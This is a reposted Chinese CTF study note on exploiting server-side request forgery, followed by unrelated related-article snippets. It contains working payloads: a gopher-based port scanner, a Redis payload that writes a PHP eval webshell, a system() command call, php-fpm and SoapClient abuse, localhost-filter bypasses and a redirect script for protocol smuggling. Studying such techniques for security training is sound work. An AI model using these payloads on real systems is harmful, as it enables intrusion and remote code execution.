【心得】SSRF攻击面利用个人笔记

news2024/12/23 10:53:49

SSRF的利用面

目录

1 任意文件读取 前提是知道要读取的文件名

2 探测内网资源

3 使用gopher协议扩展攻击面

4 php原生类进行ssrf

5 ssrf绕过


1 任意文件读取 前提是知道要读取的文件名

2 探测内网资源

 127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问

 0.0.0.0 表示允许任意ip访问

 192.168.233.233 只允许特定的IP地址访问

例题1 web79 web80

看一下提交的表单

输入http://www.baidu.com

发现服务器帮我们访问了百度的页面

直接读本地文件

file:///flag

也可以用下面的脚本进行内网探测

import requests

url = "http://13ba11b5-0c94-4a20-a1b9-a22db99e829f.challenges.ctfer.com:8080/"

ports = [21,22,80,443,3389,1433,3306,6379,8088]

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口

for p in ports:
    try:
        data={"url":f"gopher://127.0.0.1:{p}/"}
        response = requests.post(url=url,data=data,timeout=2)
    except:
        print(f"端口{p}开放") #只要超时就认为开放

 

访问http://127.0.0.1:8088

直接拿到flag

为什么呢?我们可以读一下配置文件

访问 file:///etc/nginx/nginx.conf发现服务器监听了8088端口根目录路由

3 使用gopher协议扩展攻击面

 apache/nginx 80
 tomcat 8080
 node 3000
 flask 8080
 php-fpm 9000
 mysql 3306
 ftp 21
 ssh 22
 redis 6379

 key-value  gopher://127.0.0.1:6379/_save_/var/www/html/1.php_<?php eval($_POST[1]);?>

例题2 web81

继续拿上面的脚本端口扫描

扫到redis 6379端口,用gopherus来攻击

 

 

payload用post提交

直接访问/shell.php?cmd=system('tac /f*');

 mysql 3306

 前提:用户密码为空

 

php-fpm

php-fpm(PHP FastCGI Process Manager)是基于FastCGI协议的PHP进程管理器,它用于管理PHP解释器进程,并为Web服务器提供PHP解释器服务。

 php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问

 主要负责对.php文件的代码解释执行  

 我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码

原理:

 通过向9000端口发送php执行请求

 设置php.ini中的运行参数

 其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行

 为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项

 


4 php原生类进行ssrf

$soap = new SoapClient($_GET['url']);

$soap->hack();

//$soap->__call()

url可控时,可以发送内网请求

5 ssrf绕过

只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址

1 enclosed alphanumerics 绕过(在有些环境中可以)

127.0.0.1

127.⓿.⓿.1

2 使用IP地址转换

所有的域名->IP  

ip可以使用不同进制来表示

小工具 > IP地址十六进制、二进制、十进制转换

127.0.0.1用不同进制可以表示为
- 2130706433  10进制 http://2130706433  
- 017700000001 8进制 http://017700000001
- 7F000001 16进制   http://0x7F000001


3 特殊语法绕过

Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1

127.0.0.1 可以省略为 127.1(Windows和Linux下均可)

127。0。0。1 可以替代127.0.0.1(Linux可)


4 如果对方可以接受302跳转,并且跟进302跳转

可以发送http的协议。但是返回的location为其他协议

http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}

5 利用短网址绕过

站长工具 > 在线短网址生成_短网址在线生成

baidu.com  不允许出现baidu

或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

http://rurl.vip/eW7AU

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1370228.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux 网络设置与基础服务

一 配置网络设置 主机名 hostname IP地址/netmask ifconfig &#xff1b; ip a 路由&#xff1a;默认网关 route -n DNS服务器 cat /etc/resolv.conf 网络连接状态 ss netstat 域名解析 ns…

前端炫酷动画特效分享(附在线预览)

分享7款非常有趣的前端特效源码 其中包含css动画特效、js原生特效、svg特效以及小游戏等 下面我会给出特效样式图或演示效果图 但你也可以点击在线预览查看源码的最终展示效果及下载源码资源 canvas鼠标粒子跟随动画 canvas鼠标粒子跟随动画 当鼠标移入背景区域时 粒子动画会…

Node.js和npm

目录 01_Node.js01.什么是 Node.js目标讲解小结 02.fs模块-读写文件目标讲解小结 03.path模块-路径处理目标讲解小结 04.案例-压缩前端html目标讲解小结 05.认识URL中的端口号目标讲解小结 06.http模块-创建Web服务目标讲解小结 07.案例-浏览时钟目标讲解小结 02_Node.js模块化…

解决vscode无法运行npm和node.js命令的问题

第一次安装npm和node.js想要在vscode中直接输入控制台命令会因为权限问题无法执行。 这里可以修改本机权限来解决。 搜索powershell并且以管理员权限运行 打开之后输入下面的命令即可 PS C:\Users\Administrator> Get-ExecutionPolicy Restricted PS C:\Users\Administra…

electron自定义窗口和右键菜单样式

前言 electron默认沿用系统UI&#xff0c;并没有提供很多接口供使用者定制样式&#xff0c;如果想要完全自定义的样式&#xff0c;目前我能想到的方案只能是通过前端自定义样式&#xff0c;然后通过进程通信来实现系统基础功能&#xff1a;最大/小化、关闭、拖动窗口等。 效果…

canvas绘制路径之 beginPath() 和 closePath()

查看专栏目录 canvas示例教程100专栏&#xff0c;提供canvas的基础知识&#xff0c;高级动画&#xff0c;相关应用扩展等信息。canvas作为html的一部分&#xff0c;是图像图标地图可视化的一个重要的基础&#xff0c;学好了canvas&#xff0c;在其他的一些应用上将会起到非常重…

权威mcc mnc 列表网址

MCC-MNC.net 链接: MCC-MNC.net 这个网站提供的mcc mnc 比下面itu文档中更全。 itu.int 2023年发布的mcc mnc分配信息&#xff1a; 链接: PDF T-SP-E.212B-2023 若想获取最新的可以参考如下截图查询&#xff1a;

linux开发板静态IP无法ping通外网

硬件平台&#xff1a;韦东山的6ull开发板 问题&#xff1a; 使用网线直连路由器&#xff0c;动态获取IP时能ping通外网&#xff1b; 改为静态IP时&#xff0c;能ping通局域网&#xff0c;但无法ping通外网。 改为静态IP&#xff1a;修改/etc/network/interfaces 测试&#…

论文阅读 Attention is all u need - transformer

文章目录 1 摘要1.1 核心 2 模型架构2.1 概览2.2 理解encoder-decoder架构2.2.1 对比seq2seq&#xff0c;RNN2.2.2 我的理解 3. Sublayer3.1 多头注意力 multi-head self-attention3.1.1 缩放点乘注意力 Scaled Dot-Product Attention3.1.2 QKV3.1.3 multi-head3.1.4 masked 3.…

EDA期末突击

。数模 1.1 进制转换 八位补码计算 1.2 化简函数 卡诺图 卡诺图另类的化简 1.3 逻辑图 看逻辑图 写表达式 列真值表&#xff0c;写出标准与或式 画逻辑图 ———————————————— 1.4 加法器 半加器 全加器 1.5 触发器 —————————————— …

(一)Spring Cloud 直击微服务作用、架构应用、hystrix降级

直击微服务作用 微服务架构: 遇到了什么问题? 将单体架构拆分成微服务架构后,如果保证多个服务(项目)正常运行? 哪个技术可以解决这个问题? 微服务技术 服务治理: 服务管理,维护服务与服务之间的关系 这个技术如何使用? netflix/网…

python 队列

队列常用方法 Python中的队列是一种数据结构&#xff0c;遵循先进先出&#xff08;FIFO&#xff09;的原则。在Python中&#xff0c;你可以使用内置模块queue提供的Queue类来实现队列数据结构。队列是一种常见的数据结构&#xff0c;用于按照特定顺序处理数据项&#xff0c;例…

AcWing 203. 同余方程(扩展欧几里得算法)

题目链接 203. 同余方程 - AcWing题库高质量的算法题库https://www.acwing.com/problem/content/205/ 题解 本题中的同余方程可以转化为ax by 1的形式&#xff0c;利用扩展欧几里得算法可以求得特解为&#xff0c;则通解为。 代码 #include <cstring> #include <…

1878_emacs company backend的选择尝试

Grey 全部学习内容汇总&#xff1a; GitHub - GreyZhang/editors_skills: Summary for some common editor skills I used. 1872_emacs company backend的选择尝试 从C语言开发的使用场景角度&#xff0c;通过测试尝试看看这个company的backend应该来如何配置。 主题由来介…

[AutoSar]基础部分 RTE 07 VFB虚拟功能总线

目录 关键词平台说明一、VFB1.1VFB是什么1.1VFB的好处1.2VFB的坏处 二、VFB在ECU内部的描述2.1Components2.2 Port-Interfaces2.3 Port2.4 Compositions 关键词 嵌入式、C语言、autosar、VFB 平台说明 项目ValueOSautosar OSautosar厂商vector芯片厂商TI编程语言C&#xff0…

python第三方模块之yaml模块

安装: pip install PyYamlPyYaml 5.1之后,通过禁止默认加载程序(FullLoader)执行任意功能,该load函数也变得更加安全。 使用: config.yaml - 10 - 20 - 30 - 40 - 50 --- name: cc age:<

【2024系统架构设计】 系统架构设计师第二版-嵌入式系统架构设计理论与实践

目录 一 嵌入式系统软件架构的原理 二 嵌入式系统软件架构的设计方法 三 案例分析 一 嵌入式系统软件架构的原理 🚀嵌入式系统的典型架构可以分为

126.(leaflet篇)leaflet松散型arcgis缓存切片加载

地图之家总目录(订阅之前必须详细了解该博客) arcgis缓存切片数据格式如下: 完整代码工程包下载,运行如有问题,可“私信”博主。效果如下所示: leaflet松散型arcgis缓存切片加载 下面献上完整代码,代码重要位置会做相应解释 <!DOCTYP

2024年中国杭州|网络安全技能大赛(CTF)正式开启竞赛报名

前言 一、CTF简介 CTF&#xff08;Capture The Flag&#xff09;中文一般译作夺旗赛&#xff0c;在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会&#xff0c;以代替之前黑客们通过互相发起真实攻击进行技术比拼的…

Redis:原理速成+项目实战——Redis实战8(基于Redis的分布式锁及优化)

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位大四、研0学生&#xff0c;正在努力准备大四暑假的实习 &#x1f30c;上期文章&#xff1a;Redis&#xff1a;原理速成项目实战——Redis实战7&#xff08;优惠券秒杀细节解决超卖、一人一单问题&#xff09; &#x1f4d…